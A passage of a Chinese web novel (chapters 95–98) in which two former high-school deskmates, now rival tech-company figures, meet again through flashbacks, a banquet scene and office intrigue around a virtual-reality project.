捐赠了一栋教学楼是真的,但这已经是好几年的事情了,顺路是他瞎编的谎话。 秦越眨了眨眼,目光沉沉,语气却是挑不出毛病的打趣:“同桌你是中彩票了吗?苟富贵勿相忘啊。” 贺煜臣想到那张报名表上的无业,余光小心翼翼地打量着秦越的衣服。 衬衫干净整洁,没有多余的褶皱,但是也能看见一些粗糙的线头,应该是便宜的地摊货。 贺煜臣不知道自己是不是脑子抽了,脱口而出:“你最近怎么样?”—— 作者有话说:你将看到被小情侣折磨各公司受害者[摊手] 以及在努力装柔弱无助可怜的小秦同学[摊手] 小秦:不会吧,刚见面就被我恶心吐了(bushi) 第95章 秦越碎发垂落下来,在阳光下像是斑驳的碎金,听到贺煜臣的话,碎金动了动,晃得贺煜臣眼花缭乱。 “只是最近比较累。”秦越低下头看他,实话实说。 毕竟自己马不停蹄地从国外飞回来,时差都没倒,就开始筹划参加这次虚拟现实项目,结果不知怎么小世界崩溃了,附作用虽然没有什么大的身体影响,但让他疲惫的身体更累了。 可这话在贺煜臣耳朵里,就变成了另一番光景。 他已经脑补出一个没有工作,只能东拼西凑找零工,忙于生计为此奔波的可怜人。 贺煜臣察觉到对方有些探究疑惑的目光,薄唇紧张地抿起来。 明明当初是秦越不告而别,现在又是过来打招呼,又是给他买水套近乎是什么意思? 贺煜臣把塑料水平捏得嘎吱响,秦越全当没有看见,他看了眼时间,说道:“我跟班主任约的时候快到了……” “请便。”贺煜臣干巴巴地说。 秦越掏出手机,“要不,加个微信?” 贺煜臣眼也不眨:“我没有微信。” 贺煜臣将矿泉水瓶丢进一旁的垃圾桶,拉开停在不远处的车门。秦越还站在原地看着他,贺煜臣拿不准秦越到底在想什么。 手机的震动就没有停过,贺煜臣终于愿意施舍给消息几个眼神。他看了几眼周瑶发来的消息,眉头一跳。 再抬头,发现秦越不知何时已经消失在了树荫下。 虽然秦越没有成功拿到贺煜臣的联系方式,但见到以前的班主任还挺顺利的。 小老头还是跟以前一样,已经是退休返聘的年纪,可依旧看起来精神奕奕。 班主任从老花镜上方瞅了秦越几眼,“呦”了一声,“你怎么来了?” 秦越朝他笑了笑,“老师您还记得我。” 班主任朝他招招手,“过来坐,离那么远,是考验我这一把年纪,听力还行不行吗?” 见到秦越模样周正,没染一头黄毛朝着鬼火少年的方向发展,班主任也是感叹万幸,“我怎么会忘记你呢,毕竟你是我带过那么多届学生里,第一个成绩那么好,但又在高考前休学的人。” “明明都被提前录取了,拿到毕业证就可以去读大学了……”班主任唏嘘不已,“你母亲身体现在怎么样了?” “她现在生龙活虎,每天早上天不亮就去跳广场舞了。”秦越将带的礼物放在班主任桌子上,“我这次回来,是特意来感谢老师的。” “对了,你跟那个谁?”班主任揉了揉额角,皱着眉想了一会,“后来跟你那个同桌说了么?我记得他当时找了我好几次,想问你的情况。” 秦越不动声色:“那您告诉他了吗?” “你当时不是让我替你保密吗?我一想,确实马上就高考了,不能影响人家考试。叫什么来着……”班主任一拍脑门,“姓贺的那个小伙子对不对,瞧我这记性。”他顺手拉开天蓝色的窗帘,往后一指。“瞧,他还给咱们学校捐了楼。老师一想到你们那么有出息,心里啊就很欣慰……” 班主任还在絮絮叨叨的说着,秦越视线从那栋崭新的教学楼很快移到了一边,旁边的那栋楼明显经历了岁月的雕刻,爬山虎绕过窗台一路爬上天台。 那是他曾经上过课的地方。 他看见一个高三学生冒了个头,费劲地准备将窗户一卡一顿地推拉上。 秦越会心一笑,连窗户都是跟当年一样的破。 学生似乎感应到有人再看他,奇怪地抬头往秦越这个方向看来。他脸上顶着阳光,看不清长相。 秦越眼前一恍惚,仿佛又看见了故人。他听见有人在叫他—— “秦越?” “秦越!” 贺煜臣大力出奇迹地把班上的破窗户拉上,然后推了推倒在书桌上不省人事的秦越。 “刚来学校就睡觉?” 秦越慢吞吞地从桌面上爬起来,指了指贺煜臣的桌洞,“给你带的灌汤小笼包。” 贺煜臣潦草地道谢,从里面掏出来一个泡沫盒。 秦越打了个哈欠,“我说你从小到大,天天吃这家,不烦吗?” 贺煜臣瞥了他一眼,“喜欢就不会烦。” “没想到贺大少爷还是个长情的人。”秦越从桌面上摸出早读的书,但依旧半趴着看向贺煜臣,“卖早点的阿姨知道是你要的,说都是街坊邻居,多送了你一个。” 贺煜臣打开盒子,一数果然如此:“替我谢谢她。” 秦越翻了几页书,又索性把脸朝下扑在课本上,闷闷的声音从底下来传出来:“她问我你什么时候回去,好久没见你了。” 贺煜臣跟他不仅是同桌,更准确地说是邻居,但这已经是过去式了。贺煜臣他爹开公司发迹后,早在贺煜臣小学时,为了社交圈就搬去了别墅区。 当时他还想让贺煜臣转学,第二天,秦越从贺煜臣嘴里得知了这事,贺煜臣强调是他据理力争让自己老爸没让自己转学。 还上小学的秦越看着贺煜臣红肿的眼睛,愣是情商爆棚,没有当即拆穿他。 还是小时候可爱多了,什么事都藏不住。秦越趴着趴着眼睛都要闭上了。 贺煜臣狐疑地看着他困得不行,顿时警觉起来,“你不会是在晚上偷偷学习,想内卷我吧?” 秦越很镇定地慢慢直起腰,表情无辜地说:“我还需要卷你吗?” 很气,但无力反驳。贺煜臣:“……” 贺煜臣强迫自己从秦越那张看起来就气人的脸上移开注意力,随后左手摸了摸书包里的一个盒子。 今天是秦越的生日,不过这个人没心没肺的,貌似没想起来。 贺煜臣在想是等会就给他,还是放学的时候再给呢…… 没等他想出来个所以然,班主任从教室门口探出半个身子,把秦越叫了出去。 贺煜臣目送着秦越离开,心想应该是保送的事情吧。他趁着秦越不在,鬼鬼祟祟地把盒子掏出来,确认里面的小纸条上没有错别字,又小心翼翼地把东西放回原位。 “喂……” 做贼心虚的贺煜臣被人拍了一下肩膀,他吓了一跳猛地转过头。 是同班的某个女生。她有些局促地站在一边,像下了什么重要的决定一般,她弯下腰悄悄地塞了个信封给贺煜臣,小声说道:“麻烦你等会交给秦越好不好。” 她双手合十,期冀地看着贺煜臣,“马上要毕业了,可能再也没机会见面了,我就想试试……求你别告诉别的同学。” 粉红色的信封,她想试试什么不言而喻。 贺煜臣望着周围专心干自己的事情的同学们,小幅度地点了点头。 女生朝他无声地道了个谢,小跑着回自己位置上坐好。 贺煜臣收好信,看见自己准备的礼物,突然他的动作顿在半空,随后貌似不经意地翻开课本开始复习。 看来…… 抱着这样的心思的不止他一个人。 课本上白纸黑字,变得沉甸甸的。秦越什么时候回来的,他都没发现。 等他回过神的时候,发现秦越已经在收拾东西了。 贺煜臣懵了一瞬,“你怎么了?” 秦越神色奇怪,看着他的眼神很飘忽,明明近在咫尺,但视线好像又不是落在他身上。 贺煜臣一直不懂那时秦越在想什么,但秦越当时说的话自己倒背如流。 他说:“有点事情,我要回家处理一下。” 贺煜臣一想到礼物,有点急了:“你下午还来学校吗?” 秦越收拾东西的动作变得迟疑,最后他说:“……别等我了。” 贺煜臣也没做多想,只是猜着估计秦越下午不来学校了,生日礼物万万没有第二天才送的道理,他连忙把盒子递给秦越。 秦越也没多说什么,甚至也没问这里面是什么,就急匆匆地走了。 等到秦越影都没了,贺煜臣才猛然反应过来,刚才女生让自己帮忙给的情书,他忘记给秦越了! 贺煜臣有点心虚地用余光瞟了瞟那个女生,心想这可不是我自己不给,是秦越有事的太突然了,明天再给也是一样的。 可是,第二天秦越没有来。 第三天,贺煜臣望着空荡荡的邻桌。 第四天,贺煜臣没了灌汤小笼包,开始啃家里阿姨做的面包。 第五天…… 秦越的电话也打不通,贺煜臣心里的不安像块墨迹,逐渐染满整块白纸,他去问班主任怎么回事,班主任只是微笑地告诉他,秦越在集训准备某个竞赛,毕竟已经被提前录取了,高考也只是走个流程。 可是一直等到高考完,他再也没有见过秦越。 老旧的居民楼,是没有电梯的。贺煜臣爬到了六楼,气喘吁吁地就要敲秦越的家门,隔壁的邻居路过,问他找谁。 听完贺煜臣的话后,邻居疑惑地问:“你是这家住户的同学?他没告诉你他搬走了吗?” “这房子卖出去一个多月了,现在里面准备重新装修呢,这会没人在里面。” 楼道外蝉叫得撕心裂肺,灼热的阳光照在满是灰尘的过道上。 贺煜臣仿佛被迎面扑了一盆冷水,他慌不择路地问道:“那您知道他去哪了吗?” 邻居摇了摇头,抱怨道:“不知道,不过他们家房子卖的很急,我听中介说是低价出的。哎,真是的,不知道会不会拉低我们这块的房价。” 说着邻居掏出钥匙,几秒钟后咣得一声用力甩上门。 贺煜臣被震得头脑发懵,他靠着墙,慢慢地像撑不住自己的身体,抱膝蹲在了墙边。 不接他的电话,搬家也没有告诉他。 贺煜臣很快得出一个结论: 秦越在躲他。 ……他是被讨厌了吗。 早知道,他就不该写那些东西。 贺煜臣想着想着突然有些委屈,他吸了吸鼻子,脑子还在嗡嗡作响。 “是秦越太小气了。”贺煜臣低声对自己说,“是他不好。” 可是我找不到他了—— 作者有话说:[求你了]天降竹马怎么输! 小秦:为我发声,我真不是崆峒[化了] 第96章 秦越告别班主任的时候已经到中午了。 他那个每天早上去跳广场舞上的老妈已经买好菜,正在厨房里大展身手,“见到老师了吧?当年多亏了你老师,帮你跑前跑后的,又是保留学籍,又是给你介绍了赞助人……” 没听到回答的声音,秦母关了火直接拎着炒勺走出来了,看见秦越正盯着鞋柜上的照片发呆,她冷笑一声:“那个赌鬼最近找你了吗?” 相框里的每一张合影都只有两个人,秦越生理学上的父亲并不在其中。 秦越:“他不知道我回来了。” “他要是敢找你,我拿热油给他洗澡。”秦母挥舞着炒勺,表情冷酷。 看到秦越没什么异样,她又回到厨房,边颠勺边扬声问道:“你见过小贺没有啊,在国外待那么久,我还以为你一回来就会找他叙旧呢?” 秦越表情一僵,他倒是想见,但貌似对方不欢迎自己。 秦母端着盘子走了出来,“赶紧过来吃饭,洗手没?”她落座后边夹菜,嘴上絮叨也没停,“我怎么觉得你变瘦了,是不是在国外没好好吃饭?” 说着说着她表情变得黯淡起来,“哎,我最对不起的就是你了。” 秦越心道不好,他妈一说这个话匣子就停不下了。 “人家孩子九月份就去大学报道了,你还得在医院里照顾我……” 秦越还记得自己最后一天在高中的情形,他在班主任办公室里接到了一个医院的通知,他妈病情更重了。 实际上他妈已经在医院一个月了,那一个月他白天上课晚上陪护,在学校的时候全凭意志支撑,还差点让贺煜臣看出来不对劲。 而他那个生理学的爹,赌得家里一个子也没有了,还把他妈气得一病不起。 护工是请不起的,手术费是靠把房子低价卖了的。别人高考后的暑假是一生中最轻松的时光,对秦越来说,他记忆里只有消毒水刺鼻的味道,还有护士推着车经过走廊时,瓶瓶罐罐的撞击声。 秦越忽然笑了,带着点对过去自己的和解。 其实当时班主任告诉他,学校可以去募捐筹款的,他就不用那么辛苦了。 可是他拒绝了。 因为自己的狼狈和不堪,他一点都不想让贺煜臣看到。 安抚完妈妈的情绪后,秦越收到了简淮川发来的数据,以及对方生怕他反悔似的,前后脚就给了他一个定位。 简淮川威胁:[数据我给你弄过来了,这是酒会的地址。不守信用的人是狗。] 秦越当然没理对方幼稚的言语,他急着把数据分析出来。 简淮川:[喂,我说这是酒会的定位。] 简淮川:[hello,Hereistheaddress.] 简淮川:[你好,你是手机欠费了吗?] 秦越忍无可忍:[闭嘴。] 在往后的每一天,简淮川的短信来得比闹钟还准时。 秦越面无表情地把简淮川拉黑了,显示屏上同时出现了他不想看到的分析结果。 ……数据的紊乱是贺煜臣插手造成的。 对方不想见他,即使是在虚拟世界里- 夜幕初垂,都市的霓虹次第亮起。 酒会的吊灯将光芒撒向整个大厅,三五成群的交流中不时发出恰到好处的笑声。 简淮川松了松领结,靠在沙发上轻晃着香槟杯。他是个花花公子,自然也打扮得很惹眼。 他挑剔地瞅着秦越的衣服,“怎么说也是重要的酒会,你就穿成这个样?” 秦越同样嫌弃地往外坐了坐,在鼻子前扇了扇,“你是不是刚抽完烟?麻烦离我远点,我已经戒了。” 简淮川无语:“你什么时候那么娇贵了,这都闻不得?” 简淮川知道秦越之前也会抽烟,但这不是秦越的癖好,只是在他心烦意乱的时候,才会解压地来上一两根。 说实话,简淮川以前从来没见过秦越这种奇怪的人。 他父亲资助过秦越的大学学业,直到在国外拿到毕业证后,秦越就开始陆陆续续把赞助的钱还完了。 在秦越毕业后,简父又掏出一笔资金,想让秦越去创业。 简淮川当时知道的时候,心里闪过无数个念头,其中秦越是他爹私生子这个念头最为强烈。 要不然他爸凭什么对一个陌生人那么好。 后来秦越身体力行地打破了他这个念头。 因为这个人没有丝毫抢他家产的倾向,甚至可以说这个人一点物欲都没有。 秦越大部分时间都在实验室做数据,每天吃的东西能维持生命体征就够了,跟简淮川这种三天两头出去开个超跑泡个夜吧的人,简直是对照组。其实要不是简淮川他爸逼着他跟秦越学点什么,简淮川曾经预感迟早要把命搭在超速驾驶上。 跟秦越待久了,简淮川都觉得自己要不食烟火了,也不去泡吧了,超跑也在停车库里吃灰。 简淮川曾以为秦越跟个机器人一样,除了不解风情、没有情商地说些能把噎死的话,他是没有什么情绪波动的。 直到简淮川有次晚上怕秦越饿死在实验室,准备给他投喂点食物,发现他正坐在走廊抽烟。 烟雾缭绕之下,秦越静静坐在那里,眼睛紧闭,一动不动得像个雕像。 简淮川没见过这样的秦越,差点膝盖一软跪了,“哥,咋了。实验室炸了?还是数据错了?” 漆黑的走廊里只剩下浅浅的呼吸声,秦越掐灭了烟,睁开眼,“不。实验成功了,我准备回国了。” 简淮川凑近几步,看了眼被捻灭的烟头,从不成形状的样子,能看出主人熄灭它的时候太过心烦意乱,打了个哈哈:“好啊,你终于决定跟我去创业了!” 现在芯越智能的另一个创始人,正穿着普通的白衬衫离他十万八千里的坐着。 简淮川不想理他了,本来跟秦越吵架他也没赢过。这次他是想看秦越的乐子,没必要在秦越还没吃瘪还没开始的时候,长他人志气灭自己威风。 服务生穿插在人群中,简淮川伸长脖子,开始在各式各样的人中找他的目标。 在一众鼻子是鼻子、眼睛是眼睛的人中,一张长得跟建模似的脸出现他的视线里。 简淮川唰得一下站了起来,他后知后觉意识到自己反应太大了,又慢慢地坐了下来。 他做贼心虚地用余光瞥了下秦越,发现这个人不出意外地根本没注意到他。 那个人越走越近,近到简淮川已经能看清楚对方脸上的表情。 简淮川朝贺煜臣打了个招呼:“罕见啊贺总,没想到你会参加这种酒会。” 坐在沙发上简淮川饶有兴趣地起身朝贺煜臣伸出手,而他身边的秦越一言不发。 贺煜臣客套地回握他手,只是浅尝辄止地就抽回了手,他静静地看了眼秦越,随即装作不认识般地问简淮川:“这位是?” “他是我的……朋友。”简淮川挑了挑眉毛,最后两个字被他说的意味深长。 简淮川这一副看热闹的神情,被贺煜臣尽收眼底。 有上的了台面的朋友,自然也有上不了台面的朋友。 简淮川看着跟没看见人似的秦越,嘴角没忍住一抽。 这时候还在演什么啊,明明之前还想见面还扑了个空,自己创造机会,怎么秦越一点反应都没有。 没有见到自己想要抓马的场景,简淮川只好自己推进剧情,他清了清嗓子,示意秦越道:“这是贺总,都是朋友。敬个酒。” 贺煜臣神色未变,只是垂在一边的手无意识地攥紧,“简董,看来你跟你的朋友不怎么熟。” 简淮川:“?” 贺煜臣盯着秦越酒杯里的透明液体,冷着一张脸:“你的朋友酒精过敏。你不知道么?” 简淮川被打断说话:“我——” 贺煜臣没有迟疑,猛地把秦越手中的酒杯顺手拿了过来,重重放在桌上,“简董,下次要好好了解朋友的喜好。万一闹出人命就不好看了。” 简淮川想吐血:“我没——” 他忍住没给自己辩解,这只会让自己听上去是在狡辩,于是简淮川歪过头用眼神给秦越发话:喂,还我清白。 秦越根本没正眼看他,不知道在想什么。 他突然垂眸又拿起酒杯,一脸无辜,还带着被逼迫的无奈,忐忑地望向盯着他的简淮川,“我知道贺总是贵客,这杯我应当敬他……” 简淮川一口气差点没上来:??? 贺煜臣保持着微笑,但眼底已经怒火中烧,冷声道:“放下。”他声音发着颤,不知是愤懑还是心疼,“秦越你过来。” 秦越犹豫着,像是在斟酌什么利弊。 “秦越!”贺煜臣低声喝道。 秦越如梦初醒地放下杯子,无措地站在原地。 “跟我走。”贺煜臣有点装不下去了。 看着眼前变得不认识的秦越,那么卑微的神色不该出现在他脸上。 记忆里的少年像永不陨落的太阳,而现在的秦越收敛了锋芒,变成了一颗任人捏搓的鹅卵石。 “你在犹豫什么?”明明在这里,位于下位的是秦越,可语气充满了悲哀的却是贺煜臣。 简淮川捏了捏鼻梁,大发慈悲般地放行了,“贺总,我不知道你和他也是旧相识,这样,你们聊着吧,我就不打扰了。” 秦越如愿以偿地勾起唇,在贺煜臣看不见的地方,好整以暇地对简淮川轻声说:谢了啊。 自尊在十八岁的秦越眼里看起来比天还高,但这跟二十八岁的秦越有什么关系? 简淮川低头看了看被抛弃在桌上的酒杯,呆滞了两秒,又抬头看向秦越的背影。 不是。 一杯气泡水而已,你搁那装什么呢?—— 作者有话说:受害者简某:我服了你这个老六[裂开] 第97章 周瑶早就看见了简淮川,因为干了“坏事”,心虚的时候人类总是紧盯着可能会告发的人。 这一看不要紧,怕什么来什么,简淮川身旁的人看着不要太脸熟了。 完了,那个秦越果然跟简淮川是一伙的。 周瑶心里突突狂跳,接着她心里不跳了,大抵是死了。因为她看见贺煜臣带着秦越往自己这个反向来了。 是要跟他们公司私底下解决的意思吗? 如果赔偿对方不满意,会起诉他们吗? 哈哈,她主导的项目要胎死腹中了。 周瑶一边想着最糟糕的结局,一边手上不停,在工作群里吩咐法务和公关部门待命。 “贺总。”周瑶表情看着淡定,实际上人已经麻了。 然后她等了大概几秒钟,贺煜臣还是没有开口,对方反而眼里透露出你为什么要挡着我路的意思。 周瑶:“?” 难道是她理解错了老板的想法。 反倒是秦越朝她微微颔首:“周部长,又见面了。” 这是威胁,这绝对是威胁! 芯越智能不缺技术,他们只是不像贺氏这样家大业大,与贺氏集团合作是看中了服务器,而这次项目的系统架构完全是得益于芯越智能。 如果被芯越智能抓住了把柄,一笔天价的赔偿金是免不了的,虽然不够他们买新的服务器,但足以让他们把贺氏集团一脚踢开,自己租个服务器单干了。 这种前沿的技术,几天可能就会有代差了,贺氏与芯越智能合作,也是想通过良性合作,学习这方面的技术。 现在好了,小辫子被芯越智能握在手里了。周瑶心慌慌的,脑门开始冒冷汗了,瞅着站在老板旁边的秦越怎么看怎么不像好人。 她这时候也顾不得上下级关系了,态度强硬地拉过贺煜臣要借一步说话,还不忘抽空朝秦越露出个僵硬的微笑,“你好,贺总借我几分钟,马上还你。” 闻言,秦越得体自觉地往旁边站了几步。他沉默地站在一边,跟几米开外的服务生一样低调不起眼。 周瑶有些奇怪,觉得秦越跟那天在公司里面见到的感觉不太一样。 但这会也没时间纠结这个了,她面色复杂地收回视线,赶紧拉着贺煜臣走到没人的角落,“贺总,秦越是简淮川的人?” 这句话不知道哪里戳到贺煜臣的痛点了,他飞快地看了一眼秦越的方向,然后皱眉道:“他不是简淮川的人。” “……” 如果她没瞎的话,她明明看见秦越跟简淮川刚才坐在一起,甚至还交流了几句话。 今天酒会是贺氏和芯越智能内部的宴会,秦越不是芯越智能的人,难道还是自家员工吗? 周瑶继续心平气和:“贺总,现在我们要考虑的是查一遍合同条款,看看能不能亡羊补牢。” 好在她老板异常的时间并没有持续很久,很快就恢复了正常,但还是强调:“秦越不是简淮川的员工。” 周瑶愣了愣,好一会才反应过来,然后变得更加大惊失色,“啊?难道他是简淮川的家属??” 两个人不同姓,简淮川长得笑眯眯的像个狐狸精似的,至于另一个…… 周瑶歪过头,眯着眼从贺煜臣肩膀上的空挡,偷偷打量着秦越。 长得跟简淮川八竿子打不着。周瑶眨了眨眼,突然朝贺煜臣努了努嘴,随后语重心长道:“我总算知道你为什么在小世界里要那么干了。” 翘了合作对象的墙角,罪该万死啊! 要是真给系统配对上了,这简淮川不得杀到集团来。 周瑶想了一下两个大男人扯头发的场景,在这个万分紧张的氛围里,没忍住噗嗤一声笑了出来。 贺煜臣就看着周瑶表情一会苦闷,一会又诡异地抬起嘴角,“……” 周瑶疯狂摇头,努力把滑稽的幻想从自己脑子里赶出去,她一抬头就看见贺煜臣诧异地看着自己。 贺煜臣:“你最近压力是不是太大了。请个假吧,我给你批。” 周瑶:“。” 当务之急,是让周瑶把手机里某些短剧平台卸载,贺煜臣低声说:“他跟简淮川没关系。” 周瑶这时候才咂摸出哪里不对劲,她刚刚问秦越是不是简淮川的人,重点是在简淮川身上,但贺煜臣回答的重音是在“的人”上,明显他对这种所属关系更在意。 就像他刚才又重复一遍秦越跟简淮川没有关系。 周瑶没搞明白里面的弯弯绕,但她能感受到贺煜臣不想再谈论这个话题,于是她想了想说道:“如果最后没法收场,跟芯越智能合作这条路走不下去的话,还有别的办法。” “芯越智能不止一个创始人,如果能把那个创始人挖过来,这些问题就不存在了。” 贺煜臣眉心一跳,他是在赌,赌秦越不会绝情到把数据提供给简淮川,但是他的确不能拿这个项目来赌气。 见到贺煜臣表情松动,周瑶趁热打铁:“贺总您刚调回本市,可能不太清楚,芯越智能另一个创始人才是主要负责研发的,包括这次项目的系统,也是他经手的。” 贺煜臣沉默了下,隔着人群,他目光捕捉到已经跟别人推杯换盏起来的简淮川。 周瑶顺着他视线看了眼,解释道:“简淮川主要负责动嘴皮子。” “不过,您也别看不起他。毕竟一门生意,光靠技术是不行的。说服别人相信你,和你合作,同样是重中之重。”周瑶抿了下唇:“简淮川就是有这样的能力,见人说人话,见鬼说鬼话。我们不少合作方都被他撬走了。” 过了片刻,贺煜臣慢慢开口:“按你所说,简淮川有说服任何人的本事,那我们怎么能在他眼皮子底下,把他的合伙人挖过来。” 周瑶神秘一笑,趁着左右无人凑近贺煜臣说道:“老板我是技术部的,这次又是合作的项目,所以我自然跟那个合伙人在网上聊过天,虽然没见过面,但是他经常会问一下我们公司的事情,他应该是有跳槽的想法。” 贺煜臣漆黑的桃花眼垂下来,看着有些手舞足蹈的周瑶。能让周瑶这样一个技术宅心服口服到崇拜的人,那绝不会差。 “对方是怎么说的?” 他想问问那人有没有开价,是否说了什么条件。 周瑶:“……呃。”她挠了挠头,“他问了您有没有这次参与项目实验,还问了……” 说到这,她突然觉得有些不对,于是没头没尾地直接停顿在这。 贺煜臣没打算跳过这个话题:“还问了什么?” 周瑶不忍直视地捂住额头:“……还问了您早上几点上班以及几点下班,周末有没有加班,最近工作量多不多……我靠,这家伙不会是想把您挤走,自己来当CEO吧!” 要不然他干嘛对CEO工作日程那么感兴趣! 周瑶表情尴尬,声音越来越低:“老板,我是站在你这边的。” 贺煜臣嗤笑一声,“那得看他有没有这个本事了。”他理了理衣袖,碰到手背才意识到这里面冷气开的很足,皮肤一片冰凉。 想到这贺煜臣看了眼只穿了一件薄衬衫的秦越,顿时没了聊下去的心思,他嗓音很冷:“有野心可以,如果他可以稍微放低一点要求,那我会很欢迎他。” 周瑶点头:“明白。” 城市夜景在落地窗前尽收眼底,酒杯碰撞声愈发频繁。 贺煜臣站在水晶吊灯的冷光下,整个人显得更加漠然。他脱下西装外套,扔给秦越。 秦越手足无措地抱着外套站在那,跟周围格格不入,没有吱声只是小心翼翼地看他脸色。 贺煜臣没来由的烦躁,他压着声音,听起来像在生气,“穿上。” 秦越顿了顿,慢吞吞地把衣服披上,然后小声问道:“聊完了?” 贺煜臣“嗯”了一声,他没忘记刚才差点争执起来的源头,“简淮川这样多久了?” 秦越嗓子一堵,“……” 这让他怎么回答。 简淮川知道自己酒精过敏,起码是几年前的事情了。要不是他从来不参加简淮川开的派对,否则简淮川还能更早知道。 “很难回答吗?”贺煜臣一下子就冷了脸,“他逼你,你不知道拒绝吗?” 秦越不自然地挪开视线,“……大概两三年吧。” 贺煜臣忍无可忍,“两三年?你为什么不来找我?你……” 他似乎是气急了,但周围人声鼎沸,提醒着他不能失态。 最后,他薄唇越抿越紧,近乎是从齿缝里挤出几个字:“你怎么会这样自甘堕落!” 秦越看着贺煜臣冷肃的表情,终究还是没有说什么。 贺煜臣不知是失望多一些,还是心疼多一些,他不想再面对这样的秦越,于是他只能逃避。 肩膀被人重重拍了一下,秦越一扭头就对上简淮川那张贱兮兮的脸。 “呦,被骂啦。”简淮川明知故问地看着贺煜臣走出酒会,有种大仇得报的快意,“我要是你,我就追上去了。” 秦越卸下不久前束手束脚的模样,睨了一眼简淮川:“原来你是喜欢赶着挨骂的人。” 简淮川胸口中了一枪。 “算了。”简淮川无奈摆手,“你到底想干嘛啊。”他摸了摸下巴,“我还是搞不明白,你居然会对人类感兴趣,我还以为你要跟那堆数据过一辈子。” 讲着讲着,他嗅到一股淡淡的古龙水味道,寻着来源,发现来自秦越身上披着的外套,简淮川疑惑地问道:“这不是你的衣服吧。” 秦越没再开口,简淮川福至心灵地打了个响指,他一脸我懂的表情,浮夸地说道:“心疼男人是不幸的开始。”—— 作者有话说:小贺:气死。[化了] 简某:气死。[裂开] 第98章 秦越纡尊降贵般得伸出一根手指,推开得寸进尺离自己太近的简淮川。 “离我远点。” 简淮川也没生气,他抬起胳膊闻了闻,“也没什么烟味了呀?” 因为在秦越天才的光环下浸淫多年,简淮川习惯性对秦越的臭脾气有所忍让。 天才嘛,有点怪是很正常的。 简淮川问他:“那个数据你看了吗?是你设计出的问题,还是别的什么原因。”虽然简淮川平时吊儿郎当,没个正型,在外面鬼混的时间要比坐办公室的时间多一半,但公司毕竟是他爹让他回国试水的第一步,他胆子再大,性子再野,也不敢完全把这个不当回事。 秦越:“问题我已经解决了,不会影响项目进度。” 简淮川一听,绷着的神经彻底放松了,他摊回沙发上,“看样子可以正常上市了,要不然老头子又要在我耳朵旁边念经了。” “出了问题,该问责的是我,关你什么事?”不是秦越看不起简淮川,但就简淮川的技术水平,当他助手都费劲。 简淮川苦着一张脸:“不不不,在他眼里,你怎么会出错呢?拖后腿的一定是我。”随后他问道:“你跟贺煜臣到底什么关系?真的只是同学吗?”简淮川回想了一下不久前贺煜臣的态度,很快否认了这个猜测。 同学见面不能是这种奇怪的氛围,能紧张得脸色都不对了吗,贺煜臣当时看自己的表情就像看什么罪不可恕的人。 要不是自己身份地位摆在这里,简淮川严重怀疑贺煜臣都想把自己沉江了。虽然贺氏的主要势力不在本市,但想给他使点袢子还是挺轻松的。 简初出茅庐人生地不熟淮川顿觉大事不妙,“喂,你想演小白花随便你,不要影响我工作啊,我一点都不想得罪贺煜臣。” “影响你工作?”秦越没忍住笑了,“这句话能从你口中说出来,真有意思。” 简淮川抓狂了,“你翻车了别带上我啊,古代株连九族的味道我可不想尝尝咸淡。” 秦越:“有那么可怕吗?” “你比我晚回国几年,我之前在各个地方踩点选址,谈合作的时候见过他几次。”简淮川抱着手,嘻嘻哈哈的表情没了,难得严肃地说:“他虽然脾气很好,但是那种你踩了他底线,会立刻翻脸不认人的那种。” 秦越不置可否:“他脾气的确很好。” 简淮川怒了,抓起沙发上的靠枕砸向准备离开的秦越,“你是不是有病,重点是后面一句吧!”- 会议室里气氛凝重。 周瑶他们临时加了一场会议,主题是预防芯越智能突然发难。 虚拟现实技术本来就可能会产生道德法律问题,毕竟进入了虚拟世界,你的记忆、身份都可能会被篡改,会不会有人在虚拟世界里操纵你的一举一动,甚至更严重的是奴役压迫,让你违背自己的意愿。 这就会涉及到每个公民的基本权益能不能得到保障的问题,而在不久前,她老板干的事,差不多就已经是站在雷池里挑衅了。 周瑶还挺喜欢贺煜臣这个上司的,至少贺煜臣赏罚分明,不任人唯亲,最重要的一点,不会临到下班才给她分配工作,光这点就已经超过了一大半资本家。 所以她不希望这事被爆出来,周瑶心里快速取舍了一下,只能对不起秦越了。 周瑶竖起一只耳朵听着风控部门在台上口若悬河,自己也没闲着,芯越智能的那位隐藏合伙人终于又找她了。 周瑶:[大神,这次又有什么事?是内测的数据出了什么问题吗?#哭哭.jpg#] 被她备注写着不是人类的头像闪了两下。 [你下班了吗?] 周瑶:[在开会呢。估计还有半个小时就结束下班了。] “不是人类”那边沉寂了下来。 周瑶当时起这个名字,完全是被对方的技术力折服了,虽说对方时常爱搭不理的,但每次跟他聊天,总是能让自己茅塞顿开。 有好几次,周瑶都能感受到电脑那边的人对自己提出的问题,感到无语,但最后还是给了她解题思路。 就像某位科学家说的,人再笨还能学不会微积分吗? 周瑶能感受着对方暗藏的这层意思,对此她真想说:对不起,超人类进化的时候忘记带上她了。 眼瞅着“不是人类”那边没动静了,周瑶抓耳挠腮,为了老板不引咎辞职,为了更光明的未来,她要努力劝说对方跳槽。 [大神,你觉得我们这怎么样啊?] 过了几分钟,对方发来了一句:[你指哪一方面?] 大神难得的跟自己聊起来天,周瑶重整旗鼓,又想了想得保住贺煜臣的职位,于是她委婉问道:[比如说我们这边福利待遇啊,薪资啊,还有我们老板为人怎么样啊……] 这次对面回复得很快,[很好。] 周瑶盯着这两个字,左看看右看看,也没弄明白,到底是说哪个很好。 接着她又收到一条消息:[你们老板下班了吗?] 周瑶赶紧打字:[还没有,最近他可忙了,不到十点是不会走的。] 你看当老板那么忙,你就换个可以摸鱼的职位嘛,薪酬不少,又不用心烦那么多事情。如果当ceo,大大小小的事情全都要自己经手,这多费心啊。 周瑶又等了半小时,到会议结束那边都没动静了。她叹了口气,把电脑收起来,看来让对方跳槽这个计划很难行得通了。 这几天,他们公司也想了别的办法,比如扩招这方面的技术人才,但见过了芯越智能的那位,周瑶见谁都觉得差点意思。 她恹恹地收拾好东西回到办公室,打了个下班卡就顺着人流挤进电梯,走到大厅的时候,她看见一个意想不到的人。 周瑶赶紧刷了员工卡,快步走出安全门,喊住看起来想离开的秦越,“秦先生!” 所有人都急匆匆地往外走,所以站在前台一动不动的秦越很扎眼。 前台小姐愣了一下,她认识周瑶这个集团技术部的负责人。从周瑶的态度来看,自己面前看起来落魄的男人跟她明显认识。 “周部长,他想见贺总,但是没有预约。”她紧张解释道:“我不知道他认识您。” 秦越看起来比她还紧张,“抱歉,是我想当然了,没有提前说好。” 周瑶欲言又止,止又欲言,她现在没有酒宴上的那么紧张,所以这次她心里感到的异样愈发的明显。 这人是不是前几天还暗戳戳地点她,说她们公司服务器算力不行的。 